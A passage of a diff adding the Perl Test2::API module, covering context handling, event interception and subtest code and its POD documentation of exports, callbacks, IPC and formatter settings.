+ my $hub = $params{hub} || (@$stack ? $stack->[-1] : $stack->top);
+ my $hid = $hub->{hid};
+ my $current = $CONTEXTS->{$hid};
+
+ $_->(\%params) for @$ACQUIRE_CBS;
+ map $_->(\%params), @{$hub->{_context_acquire}} if $hub->{_context_acquire};
+
+ # This is for https://github.com/Test-More/test-more/issues/16
+ # and https://rt.perl.org/Public/Bug/Display.html?id=127774
+ my $phase = ${^GLOBAL_PHASE} || 'NA';
+ my $end_phase = $ENDING || $phase eq 'END' || $phase eq 'DESTRUCT';
+
+ my $level = 1 + $params{level};
+ my ($pkg, $file, $line, $sub) = $end_phase ? caller(0) : caller($level);
+ unless ($pkg || $end_phase) {
+ confess "Could not find context at depth $level" unless $params{fudge};
+ ($pkg, $file, $line, $sub) = caller(--$level) while ($level >= 0 && !$pkg);
+ }
+
+ my $depth = $level;
+ $depth++ while DO_DEPTH_CHECK && !$end_phase && (!$current || $depth <= $current->{_depth} + $params{wrapped}) && caller($depth + 1);
+ $depth -= $params{wrapped};
+ my $depth_ok = !DO_DEPTH_CHECK || $end_phase || !$current || $current->{_depth} < $depth;
+
+ if ($current && $params{on_release} && $depth_ok) {
+ $current->{_on_release} ||= [];
+ push @{$current->{_on_release}} => $params{on_release};
+ }
+
+ # I know this is ugly....
+ ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error) and return bless(
+ {
+ %$current,
+ _is_canon => undef,
+ errno => $errno,
+ eval_error => $eval_error,
+ child_error => $child_error,
+ _is_spawn => [$pkg, $file, $line, $sub],
+ },
+ 'Test2::API::Context'
+ ) if $current && $depth_ok;
+
+ # Handle error condition of bad level
+ if ($current) {
+ unless (${$current->{_aborted}}) {
+ _canon_error($current, [$pkg, $file, $line, $sub, $depth])
+ unless $current->{_is_canon};
+
+ _depth_error($current, [$pkg, $file, $line, $sub, $depth])
+ unless $depth_ok;
+ }
+
+ $current->release if $current->{_is_canon};
+
+ delete $CONTEXTS->{$hid};
+ }
+
+ # Directly bless the object here, calling new is a noticeable performance
+ # hit with how often this needs to be called.
+ my $trace = bless(
+ {
+ frame => [$pkg, $file, $line, $sub],
+ pid => $$,
+ tid => get_tid(),
+ cid => 'C' . $CID++,
+ hid => $hid,
+ nested => $hub->{nested},
+ buffered => $hub->{buffered},
+
+ $$UUID_VIA ? (
+ huuid => $hub->{uuid},
+ uuid => ${$UUID_VIA}->('context'),
+ ) : (),
+ },
+ 'Test2::EventFacet::Trace'
+ );
+
+ # Directly bless the object here, calling new is a noticeable performance
+ # hit with how often this needs to be called.
+ my $aborted = 0;
+ $current = bless(
+ {
+ _aborted => \$aborted,
+ stack => $stack,
+ hub => $hub,
+ trace => $trace,
+ _is_canon => 1,
+ _depth => $depth,
+ errno => $errno,
+ eval_error => $eval_error,
+ child_error => $child_error,
+ $params{on_release} ? (_on_release => [$params{on_release}]) : (),
+ },
+ 'Test2::API::Context'
+ );
+
+ $CONTEXTS->{$hid} = $current;
+ weaken($CONTEXTS->{$hid});
+
+ $_->($current) for @$INIT_CBS;
+ map $_->($current), @{$hub->{_context_init}} if $hub->{_context_init};
+
+ $params{on_init}->($current) if $params{on_init};
+
+ ($!, $@, $?, $^E) = ($errno, $eval_error, $child_error, $extended_error);
+
+ return $current;
+}
+
+sub _depth_error {
+ _existing_error(@_, <<" EOT");
+context() was called to retrieve an existing context, however the existing
+context was created in a stack frame at the same, or deeper level. This usually
+means that a tool failed to release the context when it was finished.
+ EOT
+}
+
+sub _canon_error {
+ _existing_error(@_, <<" EOT");
+context() was called to retrieve an existing context, however the existing
+context has an invalid internal state (!_canon_count). This should not normally
+happen unless something is mucking about with internals...
+ EOT
+}
+
+sub _existing_error {
+ my ($ctx, $details, $msg) = @_;
+ my ($pkg, $file, $line, $sub, $depth) = @$details;
+
+ my $oldframe = $ctx->{trace}->frame;
+ my $olddepth = $ctx->{_depth};
+
+ # Older versions of Carp do not export longmess() function, so it needs to be called with package name
+ my $mess = Carp::longmess();
+
+ warn <<" EOT";
+$msg
+Old context details:
+ File: $oldframe->[1]
+ Line: $oldframe->[2]
+ Tool: $oldframe->[3]
+ Depth: $olddepth
+
+New context details:
+ File: $file
+ Line: $line
+ Tool: $sub
+ Depth: $depth
+
+Trace: $mess
+
+Removing the old context and creating a new one...
+ EOT
+}
+
+sub release($;$) {
+ $_[0]->release;
+ return $_[1];
+}
+
+sub intercept(&) {
+ my $code = shift;
+ my $ctx = context();
+
+ my $events = _intercept($code, deep => 0);
+
+ $ctx->release;
+
+ return $events;
+}
+
+sub intercept_deep(&) {
+ my $code = shift;
+ my $ctx = context();
+
+ my $events = _intercept($code, deep => 1);
+
+ $ctx->release;
+
+ return $events;
+}
+
+sub _intercept {
+ my $code = shift;
+ my %params = @_;
+ my $ctx = context();
+
+ my $ipc;
+ if (my $global_ipc = test2_ipc()) {
+ my $driver = blessed($global_ipc);
+ $ipc = $driver->new;
+ }
+
+ my $hub = Test2::Hub::Interceptor->new(
+ ipc => $ipc,
+ no_ending => 1,
+ );
+
+ my @events;
+ $hub->listen(sub { push @events => $_[1] }, inherit => $params{deep});
+
+ $ctx->stack->top; # Make sure there is a top hub before we begin.
+ $ctx->stack->push($hub);
+
+ my ($ok, $err) = (1, undef);
+ T2_SUBTEST_WRAPPER: {
+ # Do not use 'try' cause it localizes __DIE__
+ $ok = eval { $code->(hub => $hub, context => $ctx->snapshot); 1 };
+ $err = $@;
+
+ # They might have done 'BEGIN { skip_all => "whatever" }'
+ if (!$ok && $err =~ m/Label not found for "last T2_SUBTEST_WRAPPER"/ || (blessed($err) && $err->isa('Test2::Hub::Interceptor::Terminator'))) {
+ $ok = 1;
+ $err = undef;
+ }
+ }
+
+ $hub->cull;
+ $ctx->stack->pop($hub);
+
+ my $trace = $ctx->trace;
+ $ctx->release;
+
+ die $err unless $ok;
+
+ $hub->finalize($trace, 1)
+ if $ok
+ && !$hub->no_ending
+ && !$hub->ended;
+
+ return \@events;
+}
+
+sub run_subtest {
+ my ($name, $code, $params, @args) = @_;
+
+ $_->($name,$code,@args)
+ for Test2::API::test2_list_pre_subtest_callbacks();
+
+ $params = {buffered => $params} unless ref $params;
+ my $inherit_trace = delete $params->{inherit_trace};
+
+ my $ctx = context();
+
+ my $parent = $ctx->hub;
+
+ # If a parent is buffered then the child must be as well.
+ my $buffered = $params->{buffered} || $parent->{buffered};
+
+ $ctx->note($name) unless $buffered;
+
+ my $stack = $ctx->stack || $STACK;
+ my $hub = $stack->new_hub(
+ class => 'Test2::Hub::Subtest',
+ %$params,
+ buffered => $buffered,
+ );
+
+ my @events;
+ $hub->listen(sub { push @events => $_[1] });
+
+ if ($buffered) {
+ if (my $format = $hub->format) {
+ my $hide = $format->can('hide_buffered') ? $format->hide_buffered : 1;
+ $hub->format(undef) if $hide;
+ }
+ }
+
+ if ($inherit_trace) {
+ my $orig = $code;
+ $code = sub {
+ my $base_trace = $ctx->trace;
+ my $trace = $base_trace->snapshot(nested => 1 + $base_trace->nested);
+ my $st_ctx = Test2::API::Context->new(
+ trace => $trace,
+ hub => $hub,
+ );
+ $st_ctx->do_in_context($orig, @args);
+ };
+ }
+
+ my ($ok, $err, $finished);
+ T2_SUBTEST_WRAPPER: {
+ # Do not use 'try' cause it localizes __DIE__
+ $ok = eval { $code->(@args); 1 };
+ $err = $@;
+
+ # They might have done 'BEGIN { skip_all => "whatever" }'
+ if (!$ok && $err =~ m/Label not found for "last T2_SUBTEST_WRAPPER"/ || (blessed($err) && blessed($err) eq 'Test::Builder::Exception')) {
+ $ok = undef;
+ $err = undef;
+ }
+ else {
+ $finished = 1;
+ }
+ }
+
+ if ($params->{no_fork}) {
+ if ($$ != $ctx->trace->pid) {
+ warn $ok ? "Forked inside subtest, but subtest never finished!\n" : $err;
+ exit 255;
+ }
+
+ if (get_tid() != $ctx->trace->tid) {
+ warn $ok ? "Started new thread inside subtest, but thread never finished!\n" : $err;
+ exit 255;
+ }
+ }
+ elsif (!$parent->is_local && !$parent->ipc) {
+ warn $ok ? "A new process or thread was started inside subtest, but IPC is not enabled!\n" : $err;
+ exit 255;
+ }
+
+ $stack->pop($hub);
+
+ my $trace = $ctx->trace;
+
+ my $bailed = $hub->bailed_out;
+
+ if (!$finished) {
+ if ($bailed && !$buffered) {
+ $ctx->bail($bailed->reason);
+ }
+ elsif ($bailed && $buffered) {
+ $ok = 1;
+ }
+ else {
+ my $code = $hub->exit_code;
+ $ok = !$code;
+ $err = "Subtest ended with exit code $code" if $code;
+ }
+ }
+
+ $hub->finalize($trace->snapshot(huuid => $hub->uuid, hid => $hub->hid, nested => $hub->nested, buffered => $buffered), 1)
+ if $ok
+ && !$hub->no_ending
+ && !$hub->ended;
+
+ my $pass = $ok && $hub->is_passing;
+ my $e = $ctx->build_event(
+ 'Subtest',
+ pass => $pass,
+ name => $name,
+ subtest_id => $hub->id,
+ subtest_uuid => $hub->uuid,
+ buffered => $buffered,
+ subevents => \@events,
+ );
+
+ my $plan_ok = $hub->check_plan;
+
+ $ctx->hub->send($e);
+
+ $ctx->failure_diag($e) unless $e->pass;
+
+ $ctx->diag("Caught exception in subtest: $err") unless $ok;
+
+ $ctx->diag("Bad subtest plan, expected " . $hub->plan . " but ran " . $hub->count)
+ if defined($plan_ok) && !$plan_ok;
+
+ $ctx->bail($bailed->reason) if $bailed && $buffered;
+
+ $ctx->release;
+ return $pass;
+}
+
+# There is a use-cycle between API and API/Context. Context needs to use some
+# API functions as the package is compiling. Test2::API::context() needs
+# Test2::API::Context to be loaded, but we cannot 'require' the module there as
+# it causes a very noticeable performance impact with how often context() is
+# called.
+require Test2::API::Context;
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::API - Primary interface for writing Test2 based testing tools.
+
+=head1 ***INTERNALS NOTE***
+
+B<The internals of this package are subject to change at any time!> The public
+methods provided will not change in backwards-incompatible ways (once there is
+a stable release), but the underlying implementation details might.
+B<Do not break encapsulation here!>
+
+Currently the implementation is to create a single instance of the
+L<Test2::API::Instance> Object. All class methods defer to the single
+instance. There is no public access to the singleton, and that is intentional.
+The class methods provided by this package provide the only functionality
+publicly exposed.
+
+This is done primarily to avoid the problems Test::Builder had by exposing its
+singleton. We do not want anyone to replace this singleton, rebless it, or
+directly muck with its internals. If you need to do something and cannot
+because of the restrictions placed here, then please report it as an issue. If
+possible, we will create a way for you to implement your functionality without
+exposing things that should not be exposed.
+
+=head1 DESCRIPTION
+
+This package exports all the functions necessary to write and/or verify testing
+tools. Using these building blocks you can begin writing test tools very
+quickly. You are also provided with tools that help you to test the tools you
+write.
+
+=head1 SYNOPSIS
+
+=head2 WRITING A TOOL
+
+The C<context()> method is your primary interface into the Test2 framework.
+
+ package My::Ok;
+ use Test2::API qw/context/;
+
+ our @EXPORT = qw/my_ok/;
+ use base 'Exporter';
+
+ # Just like ok() from Test::More
+ sub my_ok($;$) {
+ my ($bool, $name) = @_;
+ my $ctx = context(); # Get a context
+ $ctx->ok($bool, $name);
+ $ctx->release; # Release the context
+ return $bool;
+ }
+
+See L<Test2::API::Context> for a list of methods available on the context object.
+
+=head2 TESTING YOUR TOOLS
+
+The C<intercept { ... }> tool lets you temporarily intercept all events
+generated by the test system:
+
+ use Test2::API qw/intercept/;
+
+ use My::Ok qw/my_ok/;
+
+ my $events = intercept {
+ # These events are not displayed
+ my_ok(1, "pass");
+ my_ok(0, "fail");
+ };
+
+ my_ok(@$events == 2, "got 2 events, the pass and the fail");
+ my_ok($events->[0]->pass, "first event passed");
+ my_ok(!$events->[1]->pass, "second event failed");
+
+=head3 DEEP EVENT INTERCEPTION
+
+Normally C<intercept { ... }> only intercepts events sent to the main hub (as
+added by intercept itself). Nested hubs, such as those created by subtests,
+will not be intercepted. This is normally what you will still see the nested
+events by inspecting the subtest event. However there are times where you want
+to verify each event as it is sent, in that case use C<intercept_deep { ... }>.
+
+ my $events = intercept_Deep {
+ buffered_subtest foo => sub {
+ ok(1, "pass");
+ };
+ };
+
+C<$events> in this case will contain 3 items:
+
+=over 4
+
+=item The event from C<ok(1, "pass")>
+
+=item The plan event for the subtest
+
+=item The subtest event itself, with the first 2 events nested inside it as children.
+
+=back
+
+This lets you see the order in which the events were sent, unlike
+C<intercept { ... }> which only lets you see events as the main hub sees them.
+
+=head2 OTHER API FUNCTIONS
+
+ use Test2::API qw{
+ test2_init_done
+ test2_stack
+ test2_set_is_end
+ test2_get_is_end
+ test2_ipc
+ test2_formatter_set
+ test2_formatter
+ };
+
+ my $init = test2_init_done();
+ my $stack = test2_stack();
+ my $ipc = test2_ipc();
+
+ test2_formatter_set($FORMATTER)
+ my $formatter = test2_formatter();
+
+ ... And others ...
+
+=head1 MAIN API EXPORTS
+
+All exports are optional. You must specify subs to import.
+
+ use Test2::API qw/context intercept run_subtest/;
+
+This is the list of exports that are most commonly needed. If you are simply
+writing a tool, then this is probably all you need. If you need something and
+you cannot find it here, then you can also look at L</OTHER API EXPORTS>.
+
+These exports lack the 'test2_' prefix because of how important/common they
+are. Exports in the L</OTHER API EXPORTS> section have the 'test2_' prefix to
+ensure they stand out.
+
+=head2 context(...)
+
+Usage:
+
+=over 4
+
+=item $ctx = context()
+
+=item $ctx = context(%params)
+
+=back
+
+The C<context()> function will always return the current context. If
+there is already a context active, it will be returned. If there is not an
+active context, one will be generated. When a context is generated it will
+default to using the file and line number where the currently running sub was
+called from.
+
+Please see L<Test2::API::Context/"CRITICAL DETAILS"> for important rules about
+what you can and cannot do with a context once it is obtained.
+
+B<Note> This function will throw an exception if you ignore the context object
+it returns.
+
+B<Note> On perls 5.14+ a depth check is used to insure there are no context
+leaks. This cannot be safely done on older perls due to
+L<https://rt.perl.org/Public/Bug/Display.html?id=127774>
+You can forcefully enable it either by setting C<$ENV{T2_CHECK_DEPTH} = 1> or
+C<$Test2::API::DO_DEPTH_CHECK = 1> B<BEFORE> loading L<Test2::API>.
+
+=head3 OPTIONAL PARAMETERS
+
+All parameters to C<context> are optional.
+
+=over 4
+
+=item level => $int
+
+If you must obtain a context in a sub deeper than your entry point you can use
+this to tell it how many EXTRA stack frames to look back. If this option is not
+provided the default of C<0> is used.
+
+ sub third_party_tool {
+ my $sub = shift;
+ ... # Does not obtain a context
+ $sub->();
+ ...
+ }
+
+ third_party_tool(sub {
+ my $ctx = context(level => 1);
+ ...
+ $ctx->release;
+ });
+
+=item wrapped => $int
+
+Use this if you need to write your own tool that wraps a call to C<context()>
+with the intent that it should return a context object.
+
+ sub my_context {
+ my %params = ( wrapped => 0, @_ );
+ $params{wrapped}++;
+ my $ctx = context(%params);
+ ...
+ return $ctx;
+ }
+
+ sub my_tool {
+ my $ctx = my_context();
+ ...
+ $ctx->release;
+ }
+
+If you do not do this, then tools you call that also check for a context will
+notice that the context they grabbed was created at the same stack depth, which
+will trigger protective measures that warn you and destroy the existing
+context.
+
+=item stack => $stack
+
+Normally C<context()> looks at the global hub stack. If you are maintaining
+your own L<Test2::API::Stack> instance you may pass it in to be used
+instead of the global one.
+
+=item hub => $hub
+
+Use this parameter if you want to obtain the context for a specific hub instead
+of whatever one happens to be at the top of the stack.
+
+=item on_init => sub { ... }
+
+This lets you provide a callback sub that will be called B<ONLY> if your call
+to C<context()> generated a new context. The callback B<WILL NOT> be called if
+C<context()> is returning an existing context. The only argument passed into
+the callback will be the context object itself.
+
+ sub foo {
+ my $ctx = context(on_init => sub { 'will run' });
+
+ my $inner = sub {
+ # This callback is not run since we are getting the existing
+ # context from our parent sub.
+ my $ctx = context(on_init => sub { 'will NOT run' });
+ $ctx->release;
+ }
+ $inner->();
+
+ $ctx->release;
+ }
+
+=item on_release => sub { ... }
+
+This lets you provide a callback sub that will be called when the context
+instance is released. This callback will be added to the returned context even
+if an existing context is returned. If multiple calls to context add callbacks,
+then all will be called in reverse order when the context is finally released.
+
+ sub foo {
+ my $ctx = context(on_release => sub { 'will run second' });
+
+ my $inner = sub {
+ my $ctx = context(on_release => sub { 'will run first' });
+
+ # Neither callback runs on this release
+ $ctx->release;
+ }
+ $inner->();
+
+ # Both callbacks run here.
+ $ctx->release;
+ }
+
+=back
+
+=head2 release($;$)
+
+Usage:
+
+=over 4
+
+=item release $ctx;
+
+=item release $ctx, ...;
+
+=back
+
+This is intended as a shortcut that lets you release your context and return a
+value in one statement. This function will get your context, and an optional
+return value. It will release your context, then return your value. Scalar
+context is always assumed.
+
+ sub tool {
+ my $ctx = context();
+ ...
+
+ return release $ctx, 1;
+ }
+
+This tool is most useful when you want to return the value you get from calling
+a function that needs to see the current context:
+
+ my $ctx = context();
+ my $out = some_tool(...);
+ $ctx->release;
+ return $out;
+
+We can combine the last 3 lines of the above like so:
+
+ my $ctx = context();
+ release $ctx, some_tool(...);
+
+=head2 context_do(&;@)
+
+Usage:
+
+ sub my_tool {
+ context_do {
+ my $ctx = shift;
+
+ my (@args) = @_;
+
+ $ctx->ok(1, "pass");
+
+ ...
+
+ # No need to call $ctx->release, done for you on scope exit.
+ } @_;
+ }
+
+Using this inside your test tool takes care of a lot of boilerplate for you. It
+will ensure a context is acquired. It will capture and rethrow any exception. It
+will insure the context is released when you are done. It preserves the
+subroutine call context (array, scalar, void).
+
+This is the safest way to write a test tool. The only two downsides to this are a
+slight performance decrease, and some extra indentation in your source. If the
+indentation is a problem for you then you can take a peek at the next section.
+
+=head2 no_context(&;$)
+
+Usage:
+
+=over 4
+
+=item no_context { ... };
+
+=item no_context { ... } $hid;
+
+ sub my_tool(&) {
+ my $code = shift;
+ my $ctx = context();
+ ...
+
+ no_context {
+ # Things in here will not see our current context, they get a new
+ # one.
+
+ $code->();
+ };
+
+ ...
+ $ctx->release;
+ };
+
+=back
+
+This tool will hide a context for the provided block of code. This means any
+tools run inside the block will get a completely new context if they acquire
+one. The new context will be inherited by tools nested below the one that
+acquired it.
+
+This will normally hide the current context for the top hub. If you need to
+hide the context for a different hub you can pass in the optional C<$hid>
+parameter.
+
+=head2 intercept(&)
+
+Usage:
+
+ my $events = intercept {
+ ok(1, "pass");
+ ok(0, "fail");
+ ...
+ };
+
+This function takes a codeblock as its only argument, and it has a prototype.
+It will execute the codeblock, intercepting any generated events in the
+process. It will return an array reference with all the generated event
+objects. All events should be subclasses of L<Test2::Event>.
+
+This is a very low-level subtest tool. This is useful for writing tools which
+produce subtests. This is not intended for people simply writing tests.
+
+=head2 run_subtest(...)
+
+Usage:
+
+ run_subtest($NAME, \&CODE, $BUFFERED, @ARGS)
+
+ # or
+
+ run_subtest($NAME, \&CODE, \%PARAMS, @ARGS)
+
+This will run the provided codeblock with the args in C<@args>. This codeblock
+will be run as a subtest. A subtest is an isolated test state that is condensed
+into a single L<Test2::Event::Subtest> event, which contains all events
+generated inside the subtest.
+
+=head3 ARGUMENTS:
+
+=over 4
+
+=item $NAME
+
+The name of the subtest.
+
+=item \&CODE
+
+The code to run inside the subtest.
+
+=item $BUFFERED or \%PARAMS
+
+If this is a simple scalar then it will be treated as a boolean for the
+'buffered' setting. If this is a hash reference then it will be used as a
+parameters hash. The param hash will be used for hub construction (with the
+specified keys removed).
+
+Keys that are removed and used by run_subtest:
+
+=over 4
+
+=item 'buffered' => $bool
+
+Toggle buffered status.
+
+=item 'inherit_trace' => $bool
+
+Normally the subtest hub is pushed and the sub is allowed to generate its own
+root context for the hub. When this setting is turned on a root context will be
+created for the hub that shares the same trace as the current context.
+
+Set this to true if your tool is producing subtests without user-specified
+subs.
+
+=item 'no_fork' => $bool
+
+Defaults to off. Normally forking inside a subtest will actually fork the
+subtest, resulting in 2 final subtest events. This parameter will turn off that
+behavior, only the original process/thread will return a final subtest event.
+
+=back
+
+=item @ARGS
+
+Any extra arguments you want passed into the subtest code.
+
+=back
+
+=head3 BUFFERED VS UNBUFFERED (OR STREAMED)
+
+Normally all events inside and outside a subtest are sent to the formatter
+immediately by the hub. Sometimes it is desirable to hold off sending events
+within a subtest until the subtest is complete. This usually depends on the
+formatter being used.
+
+=over 4
+
+=item Things not effected by this flag
+
+In both cases events are generated and stored in an array. This array is
+eventually used to populate the C<subevents> attribute on the
+L<Test2::Event::Subtest> event that is generated at the end of the subtest.
+This flag has no effect on this part, it always happens.
+
+At the end of the subtest, the final L<Test2::Event::Subtest> event is sent to
+the formatter.
+
+=item Things that are effected by this flag
+
+The C<buffered> attribute of the L<Test2::Event::Subtest> event will be set to
+the value of this flag. This means any formatter, listener, etc which looks at
+the event will know if it was buffered.
+
+=item Things that are formatter dependant
+
+Events within a buffered subtest may or may not be sent to the formatter as
+they happen. If a formatter fails to specify then the default is to B<NOT SEND>
+the events as they are generated, instead the formatter can pull them from the
+C<subevents> attribute.
+
+A formatter can specify by implementing the C<hide_buffered()> method. If this
+method returns true then events generated inside a buffered subtest will not be
+sent independently of the final subtest event.
+
+=back
+
+An example of how this is used is the L<Test2::Formatter::TAP> formatter. For
+unbuffered subtests the events are rendered as they are generated. At the end
+of the subtest, the final subtest event is rendered, but the C<subevents>
+attribute is ignored. For buffered subtests the opposite occurs, the events are
+NOT rendered as they are generated, instead the C<subevents> attribute is used
+to render them all at once. This is useful when running subtests tests in
+parallel, since without it the output from subtests would be interleaved
+together.
+
+=head1 OTHER API EXPORTS
+
+Exports in this section are not commonly needed. These all have the 'test2_'
+prefix to help ensure they stand out. You should look at the L</MAIN API
+EXPORTS> section before looking here. This section is one where "Great power
+comes with great responsibility". It is possible to break things badly if you
+are not careful with these.
+
+All exports are optional. You need to list which ones you want at import time:
+
+ use Test2::API qw/test2_init_done .../;
+
+=head2 STATUS AND INITIALIZATION STATE
+
+These provide access to internal state and object instances.
+
+=over 4
+
+=item $bool = test2_init_done()
+
+This will return true if the stack and IPC instances have already been
+initialized. It will return false if they have not. Init happens as late as
+possible. It happens as soon as a tool requests the IPC instance, the
+formatter, or the stack.
+
+=item $bool = test2_load_done()
+
+This will simply return the boolean value of the loaded flag. If Test2 has
+finished loading this will be true, otherwise false. Loading is considered
+complete the first time a tool requests a context.
+
+=item test2_set_is_end()
+
+=item test2_set_is_end($bool)
+
+This is used to toggle Test2's belief that the END phase has already started.
+With no arguments this will set it to true. With arguments it will set it to
+the first argument's value.
+
+This is used to prevent the use of C<caller()> in END blocks which can cause
+segfaults. This is only necessary in some persistent environments that may have
+multiple END phases.
+
+=item $bool = test2_get_is_end()
+
+Check if Test2 believes it is the END phase.
+
+=item $stack = test2_stack()
+
+This will return the global L<Test2::API::Stack> instance. If this has not
+yet been initialized it will be initialized now.
+
+=item test2_ipc_disable
+
+Disable IPC.
+
+=item $bool = test2_ipc_diabled
+
+Check if IPC is disabled.
+
+=item test2_ipc_wait_enable()
+
+=item test2_ipc_wait_disable()
+
+=item $bool = test2_ipc_wait_enabled()
+
+These can be used to turn IPC waiting on and off, or check the current value of
+the flag.
+
+Waiting is turned on by default. Waiting will cause the parent process/thread
+to wait until all child processes and threads are finished before exiting. You
+will almost never want to turn this off.
+
+=item $bool = test2_no_wait()
+
+=item test2_no_wait($bool)
+
+B<DISCOURAGED>: This is a confusing interface, it is better to use
+C<test2_ipc_wait_enable()>, C<test2_ipc_wait_disable()> and
+C<test2_ipc_wait_enabled()>.
+
+This can be used to get/set the no_wait status. Waiting is turned on by
+default. Waiting will cause the parent process/thread to wait until all child
+processes and threads are finished before exiting. You will almost never want
+to turn this off.
+
+=item $fh = test2_stdout()
+
+=item $fh = test2_stderr()
+
+These functions return the filehandles that test output should be written to.
+They are primarily useful when writing a custom formatter and code that turns
+events into actual output (TAP, etc.) They will return a dupe of the original
+filehandles that formatted output can be sent to regardless of whatever state
+the currently running test may have left STDOUT and STDERR in.
+
+=item test2_reset_io()
+
+Re-dupe the internal filehandles returned by C<test2_stdout()> and
+C<test2_stderr()> from the current STDOUT and STDERR. You shouldn't need to do
+this except in very peculiar situations (for example, you're testing a new
+formatter and you need control over where the formatter is sending its output.)
+
+=back
+
+=head2 BEHAVIOR HOOKS
+
+These are hooks that allow you to add custom behavior to actions taken by Test2
+and tools built on top of it.
+
+=over 4
+
+=item test2_add_callback_exit(sub { ... })
+
+This can be used to add a callback that is called after all testing is done. This
+is too late to add additional results, the main use of this callback is to set the
+exit code.
+
+ test2_add_callback_exit(
+ sub {
+ my ($context, $exit, \$new_exit) = @_;
+ ...
+ }
+ );
+
+The C<$context> passed in will be an instance of L<Test2::API::Context>. The
+C<$exit> argument will be the original exit code before anything modified it.
+C<$$new_exit> is a reference to the new exit code. You may modify this to
+change the exit code. Please note that C<$$new_exit> may already be different
+from C<$exit>
+
+=item test2_add_callback_post_load(sub { ... })
+
+Add a callback that will be called when Test2 is finished loading. This
+means the callback will be run once, the first time a context is obtained.
+If Test2 has already finished loading then the callback will be run immediately.
+
+=item test2_add_callback_context_acquire(sub { ... })
+
+Add a callback that will be called every time someone tries to acquire a
+context. This will be called on EVERY call to C<context()>. It gets a single
+argument, a reference to the hash of parameters being used the construct the
+context. This is your chance to change the parameters by directly altering the
+hash.
+
+ test2_add_callback_context_acquire(sub {
+ my $params = shift;
+ $params->{level}++;
+ });
+
+This is a very scary API function. Please do not use this unless you need to.
+This is here for L<Test::Builder> and backwards compatibility. This has you
+directly manipulate the hash instead of returning a new one for performance
+reasons.
+
+=item test2_add_callback_context_init(sub { ... })
+
+Add a callback that will be called every time a new context is created. The
+callback will receive the newly created context as its only argument.
+
+=item test2_add_callback_context_release(sub { ... })
+
+Add a callback that will be called every time a context is released. The
+callback will receive the released context as its only argument.
+
+=item test2_add_callback_pre_subtest(sub { ... })
+
+Add a callback that will be called every time a subtest is going to be
+run. The callback will receive the subtest name, coderef, and any
+arguments.
+
+=item @list = test2_list_context_acquire_callbacks()
+
+Return all the context acquire callback references.
+
+=item @list = test2_list_context_init_callbacks()
+
+Returns all the context init callback references.
+
+=item @list = test2_list_context_release_callbacks()
+
+Returns all the context release callback references.
+
+=item @list = test2_list_exit_callbacks()
+
+Returns all the exit callback references.
+
+=item @list = test2_list_post_load_callbacks()
+
+Returns all the post load callback references.
+
+=item @list = test2_list_pre_subtest_callbacks()
+
+Returns all the pre-subtest callback references.
+
+=item test2_add_uuid_via(sub { ... })
+
+=item $sub = test2_add_uuid_via()
+
+This allows you to provide a UUID generator. If provided UUIDs will be attached
+to all events, hubs, and contexts. This is useful for storing, tracking, and
+linking these objects.
+
+The sub you provide should always return a unique identifier. Most things will
+expect a proper UUID string, however nothing in Test2::API enforces this.
+
+The sub will receive exactly 1 argument, the type of thing being tagged
+'context', 'hub', or 'event'. In the future additional things may be tagged, in
+which case new strings will be passed in. These are purely informative, you can
+(and usually should) ignore them.
+
+=back
+
+=head2 IPC AND CONCURRENCY
+
+These let you access, or specify, the IPC system internals.
+
+=over 4
+
+=item $bool = test2_has_ipc()
+
+Check if IPC is enabled.
+
+=item $ipc = test2_ipc()
+
+This will return the global L<Test2::IPC::Driver> instance. If this has not yet
+been initialized it will be initialized now.
+
+=item test2_ipc_add_driver($DRIVER)
+
+Add an IPC driver to the list. This will add the driver to the start of the
+list.
+
+=item @drivers = test2_ipc_drivers()
+
+Get the list of IPC drivers.
+
+=item $bool = test2_ipc_polling()
+
+Check if polling is enabled.
+
+=item test2_ipc_enable_polling()
+
+Turn on polling. This will cull events from other processes and threads every
+time a context is created.
+
+=item test2_ipc_disable_polling()
+
+Turn off IPC polling.
+
+=item test2_ipc_enable_shm()
+
+Turn on IPC SHM. Only some IPC drivers use this, and most will turn it on
+themselves.
+
+=item test2_ipc_set_pending($uniq_val)
+
+Tell other processes and events that an event is pending. C<$uniq_val> should
+be a unique value no other thread/process will generate.
+
+B<Note:> After calling this C<test2_ipc_get_pending()> will return 1. This is
+intentional, and not avoidable.
+
+=item $pending = test2_ipc_get_pending()
+
+This returns -1 if there is no way to check (assume yes)
+
+This returns 0 if there are (most likely) no pending events.
+
+This returns 1 if there are (likely) pending events. Upon return it will reset,
+nothing else will be able to see that there were pending events.
+
+=item $timeout = test2_ipc_get_timeout()
+
+=item test2_ipc_set_timeout($timeout)
+
+Get/Set the timeout value for the IPC system. This timeout is how long the IPC
+system will wait for child processes and threads to finish before aborting.
+
+The default value is C<30> seconds.
+
+=back
+
+=head2 MANAGING FORMATTERS
+
+These let you access, or specify, the formatters that can/should be used.
+
+=over 4
+
+=item $formatter = test2_formatter
+
+This will return the global formatter class. This is not an instance. By
+default the formatter is set to L<Test2::Formatter::TAP>.
+
+You can override this default using the C<T2_FORMATTER> environment variable.
+
+Normally 'Test2::Formatter::' is prefixed to the value in the
+environment variable:
+
+ $ T2_FORMATTER='TAP' perl test.t # Use the Test2::Formatter::TAP formatter
+ $ T2_FORMATTER='Foo' perl test.t # Use the Test2::Formatter::Foo formatter
+
+If you want to specify a full module name you use the '+' prefix:
+
+ $ T2_FORMATTER='+Foo::Bar' perl test.t # Use the Foo::Bar formatter
+
+=item test2_formatter_set($class_or_instance)
+
+Set the global formatter class. This can only be set once. B<Note:> This will
+override anything specified in the 'T2_FORMATTER' environment variable.
+
+=item @formatters = test2_formatters()
+
+Get a list of all loaded formatters.
+
+=item test2_formatter_add($class_or_instance)
+
+Add a formatter to the list. Last formatter added is used at initialization. If
+this is called after initialization a warning will be issued.
+
+=back
+
+=head1 OTHER EXAMPLES
+
+See the C</Examples/> directory included in this distribution.
+
+=head1 SEE ALSO
+
+L<Test2::API::Context> - Detailed documentation of the context object.
+
+L<Test2::IPC> - The IPC system used for threading/fork support.
+
+L<Test2::Formatter> - Formatters such as TAP live here.
+
+L<Test2::Event> - Events live in this namespace.
+
+L<Test2::Hub> - All events eventually funnel through a hub. Custom hubs are how
+C<intercept()> and C<run_subtest()> are implemented.
+
+=head1 MAGIC
+
+This package has an END block. This END block is responsible for setting the
+exit code based on the test results. This end block also calls the callbacks that
+can be added to this package.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
